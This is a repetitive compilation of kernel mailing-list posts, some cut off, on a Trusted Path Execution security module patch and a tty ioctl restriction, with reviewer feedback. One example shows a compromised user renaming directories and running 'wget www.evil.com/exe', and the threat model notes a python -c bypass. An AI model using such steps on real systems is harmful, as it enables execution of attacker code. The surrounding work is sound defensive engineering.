>> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
>> | (under normal circumstances) considered trusted.  Any non-root
>> | users home directory is not trusted, nor is /tmp.
> 
> Note that in the real world the trusted path would and should also
> require that any elements of the path above that point are also locked
> down if you are using path based models. Ie you need to ensure nobody has
> the ability to rename /usr or /usr/local before you trust /usr/local/bin.
> 

So actually in this LSM it's not so much full paths that are trusted,
rather it checks that the directory containing the program is only
writable by root and that the program itself is only writable by root.

For example, consider the following:

/user/ with permissions drwxr-xr-x user user
/user/user-owned/ with permissions drwxr-xr-x user user
/user/user-owned/root-owned/ with permissions drwxr-xr-x root root
/user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root

currently /user/user-owned/root-owned/exe is trusted because it can only
be written to by root, and the directory it is in can only be written by
root.

but then user becomes compromised and does the following:
cd /user/
mv user-owned user-owned-back
mkdir -p user-owned/root-owned
cd user-owned/root-owned
wget www.evil.com/exe

Now /user/user-owned/root-owned/exe is untrusted and its execution will
be denied unless you put user in the trusted group.

Matt

Re: [PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 6/8/17 2:37 PM, Alan Cox wrote:
>> http://phrack.org/issues/52/6.html#article
>>
>> | A trusted path is one that is inside a root owned directory that
>> | is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
>> | (under normal circumstances) considered trusted.  Any non-root
>> | users home directory is not trusted, nor is /tmp.
> 
> Note that in the real world the trusted path would and should also
> require that any elements of the path above that point are also locked
> down if you are using path based models. Ie you need to ensure nobody has
> the ability to rename /usr or /usr/local before you trust /usr/local/bin.
> 

So actually in this LSM it's not so much full paths that are trusted,
rather it checks that the directory containing the program is only
writable by root and that the program itself is only writable by root.

For example, consider the following:

/user/ with permissions drwxr-xr-x user user
/user/user-owned/ with permissions drwxr-xr-x user user
/user/user-owned/root-owned/ with permissions drwxr-xr-x root root
/user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root

currently /user/user-owned/root-owned/exe is trusted because it can only
be written to by root, and the directory it is in can only be written by
root.

but then user becomes compromised and does the following:
cd /user/
mv user-owned user-owned-back
mkdir -p user-owned/root-owned
cd user-owned/root-owned
wget www.evil.com/exe

Now /user/user-owned/root-owned/exe is untrusted and its execution will
be denied unless you put user in the trusted group.

Matt

[PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

Trusted Path Execution (TPE)

Patch Versions:

v1:
* initial patch introduction

v2:
* included copyright notice from Brad Spengler and Corey Henderson
* reversed the invert_gid logic. tpe.gid now defaults to being the
  trusted group rather than the untrusted group.
* fixed race condition by taking reference to the parent dentry
* added sysctl tpe.restrict_root that includes the root user in TPE checks
* added mprotect and mmap restrictions from Corey Henderson tpe-lkm
  project
* added documentation file

This patch was modified from Brad Spengler's Trusted Path Execution (TPE)
feature. It also adds features and config options that were found in Corey
Henderson's tpe-lkm project.

Modifications from Brad Spengler's implementation of TPE were made to
turn it into a stackable LSM using the existing LSM hook bprm_set_creds.
Also, a new denial logging function was used to simplify printing messages
to the kernel log. Additionally, mmap and mprotect restrictions were
taken from Corey Henderson's tpe-lkm project and implemented using the
LSM hooks mmap_file and file_mprotect.

Trusted Path Execution is not a new idea:

http://phrack.org/issues/52/6.html#article

| A trusted path is one that is inside a root owned directory that
| is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
| (under normal circumstances) considered trusted.  Any non-root
| users home directory is not trusted, nor is /tmp.

To be clear, Trusted Path Execution is no replacement for a MAC system
like SELinux, SMACK, or AppArmor. This LSM is designed to be good enough
without requiring a userland utility to configure policies. The fact
that TPE only requires the user to turn on a few sysctl options lowers
the barrier to implementing a security framework substantially.

Threat Models:

1. Attacker on system executing exploit on system vulnerability

*  If attacker uses a binary as a part of their system exploit, TPE can
   frustrate their efforts

*  This protection can be more effective when an attacker does not yet
   have an interactive shell on a system

*  Issues:
   *  Can be bypassed by interpreted languages such as python. You can run
  malicious code by doing: python -c 'evil code'

2. Attacker on system replaces binary used by a privileged user with a
   malicious one

*  This situation arises when the administrator of a system leaves a
   binary as world writable.

*  TPE is very effective against this threat model

Documentation/security/tpe.txt |  59 +++
 MAINTAINERS|   5 +
 include/linux/lsm_hooks.h  |   5 +
 security/Kconfig   |   1 +
 security/Makefile  |   2 +
 security/security.c|   1 +
 security/tpe/Kconfig   |  64 
 security/tpe/Makefile  |   3 +
 security/tpe/tpe_lsm.c | 218 +

[PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

This patch was modified from Brad Spengler's Trusted Path Execution (TPE)
feature. It also adds features and config options that were found in Corey
Henderson's tpe-lkm project.

Modifications from Brad Spengler's implementation of TPE were made to
turn it into a stackable LSM using the existing LSM hook bprm_set_creds.
Also, a new denial logging function was used to simplify printing messages
to the kernel log. Additionally, mmap and mprotect restrictions were
taken from Corey Henderson's tpe-lkm project and implemented using the
LSM hooks mmap_file and file_mprotect.

Trusted Path Execution is not a new idea:

http://phrack.org/issues/52/6.html#article

| A trusted path is one that is inside a root owned directory that
| is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
| (under normal circumstances) considered trusted.  Any non-root
| users home directory is not trusted, nor is /tmp.

To be clear, Trusted Path Execution is no replacement for a MAC system
like SELinux, SMACK, or AppArmor. This LSM is designed to be good enough
without requiring a userland utility to configure policies. The fact
that TPE only requires the user to turn on a few sysctl options lowers
the barrier to implementing a security framework substantially.

Threat Models:

1. Attacker on system executing exploit on system vulnerability

*  If attacker uses a binary as a part of their system exploit, TPE can
   frustrate their efforts

*  This protection can be more effective when an attacker does not yet
   have an interactive shell on a system

*  Issues:
   *  Can be bypassed by interpreted languages such as python. You can run
  malicious code by doing: python -c 'evil code'

2. Attacker on system replaces binary used by a privileged user with a
   malicious one

*  This situation arises when the administrator of a system leaves a
   binary as world writable.

*  TPE is very effective against this threat model

This Trusted Path Execution implementation introduces the following
Kconfig options and sysctls. The Kconfig text and sysctl options are
taken heavily from Brad Spengler's implementation. Some extra sysctl
options were taken from Corey Henderson's implementation.

CONFIG_SECURITY_TPE (sysctl=kernel.tpe.enabled)

default: n

This option enables Trusted Path Execution. TPE blocks *untrusted*
users from executing files that meet the following conditions:

* file is not in a root-owned directory
* file is writable by a user other than root

NOTE: By default root is not restricted by TPE.

CONFIG_SECURITY_TPE_GID (sysctl=kernel.tpe.gid)

default: 0

This option defines a group id that, by default, is the trusted group.
If a user is not trusted then it has the checks described in
CONFIG_SECURITY_TPE applied. Otherwise, the user is trusted and the
checks are not applied. You can disable the trusted gid option by
setting it to 0. This makes all non-root users untrusted.

CONFIG_SECURITY_TPE_STRICT (sysctl=kernel.tpe.strict)

default: n

This option applies another set of restrictions to all non-root users
even if they are trusted. This only allows execution under the
following conditions:

* file is in a directory owned by the user that is not group or
  world-writable
* file is in a directory owned by root and writable only by root

CONFIG_SECURITY_TPE_RESTRICT_ROOT (sysctl=kernel.tpe.restrict_root)

default: n

This option applies all enabled TPE restrictions to root.

CONFIG_SECURITY_TPE_INVERT_GID (sysctl=kernel.tpe.invert_gid)

default: n

This option reverses the trust logic of the gid option and makes
kernel.tpe.gid into the untrusted group. This means that all other groups
become trusted. This sysctl is helpful when you want TPE restrictions
to be limited to a small subset of users.

Signed-off-by: Matt Brown <m...@nmatt.com>
---
 Documentation/security/tpe.txt |  59 +++
 MAINTAINERS|   5 +
 include/linux/lsm_hooks.h  |   5 +
 security/Kconfig   |   1 +
 security/Makefile  |   2 +
 security/security.c|   1 +
 security/tpe/Kconfig   |  64 
 security/tpe/Makefile  |   3 +
 security/tpe/tpe_lsm.c | 218 +
 9 files changed, 358 insertions(+)
 create mode 100644 Documentation/security/tpe.txt
 create mode 100644 security/tpe/Kconfig
 create mode 100644 security/tpe/Makefile
 create mode 100644 security/tpe/tpe_lsm.c

diff --git a/Documentation/security/tpe.txt b/Documentation/security/tpe.txt
new file mode 100644
index 000..226afcc
--- /dev/null
+++ b/Documentation/security/tpe.txt
@@ -0,0 +1,59 @@
+Trusted Path Execution is a Linux Security Module that generally requires
+programs to be run from a trusted path. A trusted path is one that is owned by
+root and is not group/world writable. This prevents an attacker from executing
+their own malicious binaries from an unprivileged user on the system. This
+feature is enabled with CONFIG_SECURITY_TPE. When e

[PATCH v2 0/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

Trusted Path Execution (TPE)

Patch Versions:

v1:
* initial patch introduction

v2:
* included copyright notice from Brad Spengler and Corey Henderson
* reversed the invert_gid logic. tpe.gid now defaults to being the
  trusted group rather than the untrusted group.
* fixed race condition by taking reference to the parent dentry
* added sysctl tpe.restrict_root that includes the root user in TPE checks
* added mprotect and mmap restrictions from Corey Henderson tpe-lkm
  project
* added documentation file

This patch was modified from Brad Spengler's Trusted Path Execution (TPE)
feature. It also adds features and config options that were found in Corey
Henderson's tpe-lkm project.

Modifications from Brad Spengler's implementation of TPE were made to
turn it into a stackable LSM using the existing LSM hook bprm_set_creds.
Also, a new denial logging function was used to simplify printing messages
to the kernel log. Additionally, mmap and mprotect restrictions were
taken from Corey Henderson's tpe-lkm project and implemented using the
LSM hooks mmap_file and file_mprotect.

Trusted Path Execution is not a new idea:

http://phrack.org/issues/52/6.html#article

| A trusted path is one that is inside a root owned directory that
| is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
| (under normal circumstances) considered trusted.  Any non-root
| users home directory is not trusted, nor is /tmp.

To be clear, Trusted Path Execution is no replacement for a MAC system
like SELinux, SMACK, or AppArmor. This LSM is designed to be good enough
without requiring a userland utility to configure policies. The fact
that TPE only requires the user to turn on a few sysctl options lowers
the barrier to implementing a security framework substantially.

Threat Models:

1. Attacker on system executing exploit on system vulnerability

*  If attacker uses a binary as a part of their system exploit, TPE can
   frustrate their efforts

*  This protection can be more effective when an attacker does not yet
   have an interactive shell on a system

*  Issues:
   *  Can be bypassed by interpreted languages such as python. You can run
  malicious code by doing: python -c 'evil code'

2. Attacker on system replaces binary used by a privileged user with a
   malicious one

*  This situation arises when the administrator of a system leaves a
   binary as world writable.

*  TPE is very effective against this threat model

Documentation/security/tpe.txt |  59 +++
 MAINTAINERS|   5 +
 include/linux/lsm_hooks.h  |   5 +
 security/Kconfig   |   1 +
 security/Makefile  |   2 +
 security/security.c|   1 +
 security/tpe/Kconfig   |  64 
 security/tpe/Makefile  |   3 +
 security/tpe/tpe_lsm.c | 218 +

[PATCH v2 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

This patch was modified from Brad Spengler's Trusted Path Execution (TPE)
feature. It also adds features and config options that were found in Corey
Henderson's tpe-lkm project.

Modifications from Brad Spengler's implementation of TPE were made to
turn it into a stackable LSM using the existing LSM hook bprm_set_creds.
Also, a new denial logging function was used to simplify printing messages
to the kernel log. Additionally, mmap and mprotect restrictions were
taken from Corey Henderson's tpe-lkm project and implemented using the
LSM hooks mmap_file and file_mprotect.

Trusted Path Execution is not a new idea:

http://phrack.org/issues/52/6.html#article

| A trusted path is one that is inside a root owned directory that
| is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
| (under normal circumstances) considered trusted.  Any non-root
| users home directory is not trusted, nor is /tmp.

To be clear, Trusted Path Execution is no replacement for a MAC system
like SELinux, SMACK, or AppArmor. This LSM is designed to be good enough
without requiring a userland utility to configure policies. The fact
that TPE only requires the user to turn on a few sysctl options lowers
the barrier to implementing a security framework substantially.

Threat Models:

1. Attacker on system executing exploit on system vulnerability

*  If attacker uses a binary as a part of their system exploit, TPE can
   frustrate their efforts

*  This protection can be more effective when an attacker does not yet
   have an interactive shell on a system

*  Issues:
   *  Can be bypassed by interpreted languages such as python. You can run
  malicious code by doing: python -c 'evil code'

2. Attacker on system replaces binary used by a privileged user with a
   malicious one

*  This situation arises when the administrator of a system leaves a
   binary as world writable.

*  TPE is very effective against this threat model

This Trusted Path Execution implementation introduces the following
Kconfig options and sysctls. The Kconfig text and sysctl options are
taken heavily from Brad Spengler's implementation. Some extra sysctl
options were taken from Corey Henderson's implementation.

CONFIG_SECURITY_TPE (sysctl=kernel.tpe.enabled)

default: n

This option enables Trusted Path Execution. TPE blocks *untrusted*
users from executing files that meet the following conditions:

* file is not in a root-owned directory
* file is writable by a user other than root

NOTE: By default root is not restricted by TPE.

CONFIG_SECURITY_TPE_GID (sysctl=kernel.tpe.gid)

default: 0

This option defines a group id that, by default, is the trusted group.
If a user is not trusted then it has the checks described in
CONFIG_SECURITY_TPE applied. Otherwise, the user is trusted and the
checks are not applied. You can disable the trusted gid option by
setting it to 0. This makes all non-root users untrusted.

CONFIG_SECURITY_TPE_STRICT (sysctl=kernel.tpe.strict)

default: n

This option applies another set of restrictions to all non-root users
even if they are trusted. This only allows execution under the
following conditions:

* file is in a directory owned by the user that is not group or
  world-writable
* file is in a directory owned by root and writable only by root

CONFIG_SECURITY_TPE_RESTRICT_ROOT (sysctl=kernel.tpe.restrict_root)

default: n

This option applies all enabled TPE restrictions to root.

CONFIG_SECURITY_TPE_INVERT_GID (sysctl=kernel.tpe.invert_gid)

default: n

This option reverses the trust logic of the gid option and makes
kernel.tpe.gid into the untrusted group. This means that all other groups
become trusted. This sysctl is helpful when you want TPE restrictions
to be limited to a small subset of users.

Signed-off-by: Matt Brown 
---
 Documentation/security/tpe.txt |  59 +++
 MAINTAINERS|   5 +
 include/linux/lsm_hooks.h  |   5 +
 security/Kconfig   |   1 +
 security/Makefile  |   2 +
 security/security.c|   1 +
 security/tpe/Kconfig   |  64 
 security/tpe/Makefile  |   3 +
 security/tpe/tpe_lsm.c | 218 +
 9 files changed, 358 insertions(+)
 create mode 100644 Documentation/security/tpe.txt
 create mode 100644 security/tpe/Kconfig
 create mode 100644 security/tpe/Makefile
 create mode 100644 security/tpe/tpe_lsm.c

diff --git a/Documentation/security/tpe.txt b/Documentation/security/tpe.txt
new file mode 100644
index 000..226afcc
--- /dev/null
+++ b/Documentation/security/tpe.txt
@@ -0,0 +1,59 @@
+Trusted Path Execution is a Linux Security Module that generally requires
+programs to be run from a trusted path. A trusted path is one that is owned by
+root and is not group/world writable. This prevents an attacker from executing
+their own malicious binaries from an unprivileged user on the system. This
+feature is enabled with CONFIG_SECURITY_TPE. When enabled, a set

Re: [kernel-hardening] Re: [PATCH v1 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 06/04/2017 01:47 AM, Eric Biggers wrote:

On Sun, Jun 04, 2017 at 01:24:13AM -0400, Matt Brown wrote:

On 06/03/2017 02:33 AM, Al Viro wrote:

On Sat, Jun 03, 2017 at 01:53:51AM -0400, Matt Brown wrote:


+static int tpe_bprm_set_creds(struct linux_binprm *bprm)
+{
+   struct file *file = bprm->file;
+   struct inode *inode = d_backing_inode(file->f_path.dentry->d_parent);
+   struct inode *file_inode = d_backing_inode(file->f_path.dentry);


Bloody wonderful.  Do tell, what *does* prevent a race with rename(2) here,
somehow making sure that your 'inode' won't get freed right under you?



Good catch. How does this look:

spin_lock(>i_lock);
spin_lock(_inode->i_lock);
if (global_nonroot(inode->i_uid) && !uid_eq(inode->i_uid, cred->uid))
reason1 = "directory not owned by user";
else if (inode->i_mode & 0002)
reason1 = "file in world-writable directory";
else if ((inode->i_mode & 0020) && global_nonroot_gid(inode->i_gid))
reason1 = "file in group-writable directory";
else if (file_inode->i_mode & 0002)
reason1 = "file is world-writable";
spin_unlock(>i_lock);
spin_unlock(_inode->i_lock);

and likewise for other places in the code?


No, it needs to take a reference on the parent dentry before using it, using
dget_parent(), I think, and then dropping it later with dput().  Taking i_lock
isn't needed.

Eric



Got it. Thank you!

Matt Brown

Re: [kernel-hardening] Re: [PATCH v1 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 06/04/2017 01:47 AM, Eric Biggers wrote:

On Sun, Jun 04, 2017 at 01:24:13AM -0400, Matt Brown wrote:

On 06/03/2017 02:33 AM, Al Viro wrote:

On Sat, Jun 03, 2017 at 01:53:51AM -0400, Matt Brown wrote:


+static int tpe_bprm_set_creds(struct linux_binprm *bprm)
+{
+   struct file *file = bprm->file;
+   struct inode *inode = d_backing_inode(file->f_path.dentry->d_parent);
+   struct inode *file_inode = d_backing_inode(file->f_path.dentry);


Bloody wonderful.  Do tell, what *does* prevent a race with rename(2) here,
somehow making sure that your 'inode' won't get freed right under you?



Good catch. How does this look:

spin_lock(>i_lock);
spin_lock(_inode->i_lock);
if (global_nonroot(inode->i_uid) && !uid_eq(inode->i_uid, cred->uid))
reason1 = "directory not owned by user";
else if (inode->i_mode & 0002)
reason1 = "file in world-writable directory";
else if ((inode->i_mode & 0020) && global_nonroot_gid(inode->i_gid))
reason1 = "file in group-writable directory";
else if (file_inode->i_mode & 0002)
reason1 = "file is world-writable";
spin_unlock(>i_lock);
spin_unlock(_inode->i_lock);

and likewise for other places in the code?


No, it needs to take a reference on the parent dentry before using it, using
dget_parent(), I think, and then dropping it later with dput().  Taking i_lock
isn't needed.

Eric



Got it. Thank you!

Matt Brown

Re: [PATCH v1 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 06/03/2017 02:33 AM, Al Viro wrote:

On Sat, Jun 03, 2017 at 01:53:51AM -0400, Matt Brown wrote:


+static int tpe_bprm_set_creds(struct linux_binprm *bprm)
+{
+   struct file *file = bprm->file;
+   struct inode *inode = d_backing_inode(file->f_path.dentry->d_parent);
+   struct inode *file_inode = d_backing_inode(file->f_path.dentry);


Bloody wonderful.  Do tell, what *does* prevent a race with rename(2) here,
somehow making sure that your 'inode' won't get freed right under you?



Good catch. How does this look:

spin_lock(>i_lock);
spin_lock(_inode->i_lock);
if (global_nonroot(inode->i_uid) && !uid_eq(inode->i_uid, cred->uid))
reason1 = "directory not owned by user";
else if (inode->i_mode & 0002)
reason1 = "file in world-writable directory";
else if ((inode->i_mode & 0020) && global_nonroot_gid(inode->i_gid))
reason1 = "file in group-writable directory";
else if (file_inode->i_mode & 0002)
reason1 = "file is world-writable";
spin_unlock(>i_lock);
spin_unlock(_inode->i_lock);

and likewise for other places in the code?

Re: [PATCH v1 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 06/03/2017 02:33 AM, Al Viro wrote:

On Sat, Jun 03, 2017 at 01:53:51AM -0400, Matt Brown wrote:


+static int tpe_bprm_set_creds(struct linux_binprm *bprm)
+{
+   struct file *file = bprm->file;
+   struct inode *inode = d_backing_inode(file->f_path.dentry->d_parent);
+   struct inode *file_inode = d_backing_inode(file->f_path.dentry);


Bloody wonderful.  Do tell, what *does* prevent a race with rename(2) here,
somehow making sure that your 'inode' won't get freed right under you?



Good catch. How does this look:

spin_lock(>i_lock);
spin_lock(_inode->i_lock);
if (global_nonroot(inode->i_uid) && !uid_eq(inode->i_uid, cred->uid))
reason1 = "directory not owned by user";
else if (inode->i_mode & 0002)
reason1 = "file in world-writable directory";
else if ((inode->i_mode & 0020) && global_nonroot_gid(inode->i_gid))
reason1 = "file in group-writable directory";
else if (file_inode->i_mode & 0002)
reason1 = "file is world-writable";
spin_unlock(>i_lock);
spin_unlock(_inode->i_lock);

and likewise for other places in the code?

Re: [kernel-hardening] [PATCH v1 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 06/03/2017 06:39 AM, Jann Horn wrote:

On Sat, Jun 3, 2017 at 7:53 AM, Matt Brown <m...@nmatt.com> wrote:

This patch was modified from Brad Spengler's Trusted Path Execution (TPE)
feature in Grsecurity and also incorporates logging ideas from
cormander's tpe-lkm.

Modifications from the Grsecurity implementation of TPE were made to
turn it into a stackable LSM using the existing LSM hook bprm_set_creds.
Also, denial messages were improved by including the full path of the
disallowed program. (This idea was taken from cormander's tpe-lkm)

[...]

Threat Models:

[...]

2. Attacker on system replaces binary used by a privileged user with a
   malicious one

*  This situation arises when administrator of a system leaves a binary
   as world writable.

*  TPE is very effective against this threat model


How do you end up with world-writable binaries in $PATH?



Sys Admin screw up. It also protects against world-writable binaries
anywhere on the system, not just in $PATH.

Re: [kernel-hardening] [PATCH v1 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

On 06/03/2017 06:39 AM, Jann Horn wrote:

On Sat, Jun 3, 2017 at 7:53 AM, Matt Brown  wrote:

This patch was modified from Brad Spengler's Trusted Path Execution (TPE)
feature in Grsecurity and also incorporates logging ideas from
cormander's tpe-lkm.

Modifications from the Grsecurity implementation of TPE were made to
turn it into a stackable LSM using the existing LSM hook bprm_set_creds.
Also, denial messages were improved by including the full path of the
disallowed program. (This idea was taken from cormander's tpe-lkm)

[...]

Threat Models:

[...]

2. Attacker on system replaces binary used by a privileged user with a
   malicious one

*  This situation arises when administrator of a system leaves a binary
   as world writable.

*  TPE is very effective against this threat model


How do you end up with world-writable binaries in $PATH?



Sys Admin screw up. It also protects against world-writable binaries
anywhere on the system, not just in $PATH.

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 06/03/2017 06:00 PM, Alan Cox wrote:

TIOCSLCKTRMIOS


That one I'm more dubious about


TIOCSLTC
TIOCSSOFTCAR


tty_io.c also has a few and n_tty has a couple we'd want.



would it be overkill to have a sysctl kernel.ttyioctlwhitelist.X where X
is one of the ioctls above?


Why would anyone want to change the entries on that list



Did you see Serge's proposed solution? I want us to not be talking past
each other. Serge proposed the following:

| By default, nothing changes - you can use those on your own tty, need
| CAP_SYS_ADMIN against init_user_ns otherwise.
|
| Introduce a new CAP_TTY_PRIVILEGED.
|
| When may_push_chars is removed from the whitelist, you lose the
| ability to use TIOCSTI on a tty - even your own - if you do not have
| CAP_TTY_PRIVILEGED against the tty's user_ns.

The question is how do you add/remove something from this whitelist? I
assume by add/remove we don't mean that you have to recompile your
kernel to change the whitelist!

you earlier said you wanted the check to look like this:

| if (!whitelisted(ioctl) && different_namespace && magic_flag)

I want to know which namespace you are talking about here. Did you mean
user_namespace? (the namespace I added tracking for in the tty_struct)

Re: [kernel-hardening] Re: [PATCH v7 2/2] security: tty: make TIOCSTI ioctl require CAP_SYS_ADMIN

[Matt Brown]

On 06/03/2017 06:00 PM, Alan Cox wrote:

TIOCSLCKTRMIOS


That one I'm more dubious about


TIOCSLTC
TIOCSSOFTCAR


tty_io.c also has a few and n_tty has a couple we'd want.



would it be overkill to have a sysctl kernel.ttyioctlwhitelist.X where X
is one of the ioctls above?


Why would anyone want to change the entries on that list



Did you see Serge's proposed solution? I want us to not be talking past
each other. Serge proposed the following:

| By default, nothing changes - you can use those on your own tty, need
| CAP_SYS_ADMIN against init_user_ns otherwise.
|
| Introduce a new CAP_TTY_PRIVILEGED.
|
| When may_push_chars is removed from the whitelist, you lose the
| ability to use TIOCSTI on a tty - even your own - if you do not have
| CAP_TTY_PRIVILEGED against the tty's user_ns.

The question is how do you add/remove something from this whitelist? I
assume by add/remove we don't mean that you have to recompile your
kernel to change the whitelist!

you earlier said you wanted the check to look like this:

| if (!whitelisted(ioctl) && different_namespace && magic_flag)

I want to know which namespace you are talking about here. Did you mean
user_namespace? (the namespace I added tracking for in the tty_struct)

[PATCH v1 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

This patch was modified from Brad Spengler's Trusted Path Execution (TPE)
feature in Grsecurity and also incorporates logging ideas from
cormander's tpe-lkm.

Modifications from the Grsecurity implementation of TPE were made to
turn it into a stackable LSM using the existing LSM hook bprm_set_creds.
Also, denial messages were improved by including the full path of the
disallowed program. (This idea was taken from cormander's tpe-lkm)

Trusted Path Execution is not a new idea:

http://phrack.org/issues/52/6.html#article

| A trusted path is one that is inside is a root owned directory that
| is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
| (under normal circumstances) considered trusted.  Any non-root
| users home directory is not trusted, nor is /tmp.

This Trusted Path Execution implementation introduces the following
Kconfig options and sysctls. These config behaviors are taken straight
from Grsecurity's implementation.

CONFIG_SECURITY_TPE (sysctl=kernel.tpe.enabled)

This option enables Trusted Path Execution. TPE blocks *untrusted*
users from executing files that meet the following conditions:

* file is not in a root-owned directory
* file is writable by a user other than root

NOTE: root is never restricted by TPE

CONFIG_SECURITY_TPE_GID (sysctl=kernel.tpe.gid)

This option defines a group id that, by default, is the untrusted group.
If a user is untrusted then it has the checks described in
CONFIG_SECURITY_TPE applied. Otherwise, the user is trusted and the
checks are not applied. Since root is never restricted by TPE, you can
effectively remove the concept of a trusted or untrusted group by
setting this value to 0.

CONFIG_SECURITY_TPE_ALL (sysctl=kernel.tpe.restrict_all)

This option applies another set of restrictions to all non-root users
even if they are trusted. This only allows execution under the
following conditions:

* file is in a directory owned by the user that is not group or
  world-writable
* file is in a directory owned by root and writable only by root

CONFIG_SECURITY_TPE_INVERT (sysctl=kernel.tpe.gid_invert)

This option reverses the trust logic of the gid option and makes
kernel.tpe.gid into the trusted group. This means that all other groups
become untrusted. This sysctl is helpful when you want TPE restrictions
to apply to most of the users on the system.

Threat Models:

1. Attacker on system executing exploit on system vulnerability

*  If attacker uses a binary as a part of their system exploit, TPE can
   frustrate their efforts

*  Issues:
   *  Can be bypassed by interpreted languages such as python. You can run
  malicious code by doing: python -c 'evil code'

2. Attacker on system replaces binary used by a privileged user with a
   malicious one

*  This situation arises when administrator of a system leaves a binary
   as world writable.

*  TPE is very effective against this threat model

Signed-off-by: Matt Brown <m...@nmatt.com>
---
 MAINTAINERS   |   5 ++
 include/linux/lsm_hooks.h |   5 ++
 security/Kconfig  |   1 +
 security/Makefile |   2 +
 security/security.c   |   1 +
 security/tpe/Kconfig  |  57 +++
 security/tpe/Makefile |   3 +
 security/tpe/tpe_lsm.c| 175 ++
 8 files changed, 249 insertions(+)
 create mode 100644 security/tpe/Kconfig
 create mode 100644 security/tpe/Makefile
 create mode 100644 security/tpe/tpe_lsm.c

diff --git a/MAINTAINERS b/MAINTAINERS
index 38d3e4e..1952bd6 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -11357,6 +11357,11 @@ T: git 
git://git.kernel.org/pub/scm/linux/kernel/git/kees/linux.git yama/tip
 S: Supported
 F: security/yama/
 
+TPE SECURITY MODULE
+M:     Matt Brown <m...@nmatt.com>
+S: Supported
+F: security/tpe/
+
 SENSABLE PHANTOM
 M: Jiri Slaby <jirisl...@gmail.com>
 S: Maintained
diff --git a/include/linux/lsm_hooks.h b/include/linux/lsm_hooks.h
index e29d4c6..d017f49 100644
--- a/include/linux/lsm_hooks.h
+++ b/include/linux/lsm_hooks.h
@@ -1920,5 +1920,10 @@ void __init loadpin_add_hooks(void);
 #else
 static inline void loadpin_add_hooks(void) { };
 #endif
+#ifdef CONFIG_SECURITY_TPE
+void __init tpe_add_hooks(void);
+#else
+static inline void tpe_add_hooks(void) { };
+#endif
 
 #endif /* ! __LINUX_LSM_HOOKS_H */
diff --git a/security/Kconfig b/security/Kconfig
index 34fb609..30e60cd 100644
--- a/security/Kconfig
+++ b/security/Kconfig
@@ -245,6 +245,7 @@ source security/tomoyo/Kconfig
 source security/apparmor/Kconfig
 source security/loadpin/Kconfig
 source security/yama/Kconfig
+source security/tpe/Kconfig
 
 source security/integrity/Kconfig
 
diff --git a/security/Makefile b/security/Makefile
index f2d71cd..f8b5197 100644
--- a/security/Makefile
+++ b/security/Makefile
@@ -9,6 +9,7 @@ subdir-$(CONFIG_SECURITY_TOMOYO)+= tomoyo
 subdir-$(CONFIG_SECURITY_APPARMOR) += apparmor
 subdir-$(CONFIG_SECURITY_YAMA)  

[PATCH v1 1/1] Add Trusted Path Execution as a stackable LSM

[Matt Brown]

This patch was modified from Brad Spengler's Trusted Path Execution (TPE)
feature in Grsecurity and also incorporates logging ideas from
cormander's tpe-lkm.

Modifications from the Grsecurity implementation of TPE were made to
turn it into a stackable LSM using the existing LSM hook bprm_set_creds.
Also, denial messages were improved by including the full path of the
disallowed program. (This idea was taken from cormander's tpe-lkm)

Trusted Path Execution is not a new idea:

http://phrack.org/issues/52/6.html#article

| A trusted path is one that is inside is a root owned directory that
| is not group or world writable.  /bin, /usr/bin, /usr/local/bin, are
| (under normal circumstances) considered trusted.  Any non-root
| users home directory is not trusted, nor is /tmp.

This Trusted Path Execution implementation introduces the following
Kconfig options and sysctls. These config behaviors are taken straight
from Grsecurity's implementation.

CONFIG_SECURITY_TPE (sysctl=kernel.tpe.enabled)

This option enables Trusted Path Execution. TPE blocks *untrusted*
users from executing files that meet the following conditions:

* file is not in a root-owned directory
* file is writable by a user other than root

NOTE: root is never restricted by TPE

CONFIG_SECURITY_TPE_GID (sysctl=kernel.tpe.gid)

This option defines a group id that, by default, is the untrusted group.
If a user is untrusted then it has the checks described in
CONFIG_SECURITY_TPE applied. Otherwise, the user is trusted and the
checks are not applied. Since root is never restricted by TPE, you can
effectively remove the concept of a trusted or untrusted group by
setting this value to 0.

CONFIG_SECURITY_TPE_ALL (sysctl=kernel.tpe.restrict_all)

This option applies another set of restrictions to all non-root users
even if they are trusted. This only allows execution under the
following conditions:

* file is in a directory owned by the user that is not group or
  world-writable
* file is in a directory owned by root and writable only by root

CONFIG_SECURITY_TPE_INVERT (sysctl=kernel.tpe.gid_invert)

This option reverses the trust logic of the gid option and makes
kernel.tpe.gid into the trusted group. This means that all other groups
become untrusted. This sysctl is helpful when you want TPE restrictions
to apply to most of the users on the system.

Threat Models:

1. Attacker on system executing exploit on system vulnerability

*  If attacker uses a binary as a part of their system exploit, TPE can
   frustrate their efforts

*  Issues:
   *  Can be bypassed by interpreted languages such as python. You can run
  malicious code by doing: python -c 'evil code'

2. Attacker on system replaces binary used by a privileged user with a
   malicious one

*  This situation arises when administrator of a system leaves a binary
   as world writable.

*  TPE is very effective against this threat model

Signed-off-by: Matt Brown 
---
 MAINTAINERS   |   5 ++
 include/linux/lsm_hooks.h |   5 ++
 security/Kconfig  |   1 +
 security/Makefile |   2 +
 security/security.c   |   1 +
 security/tpe/Kconfig  |  57 +++
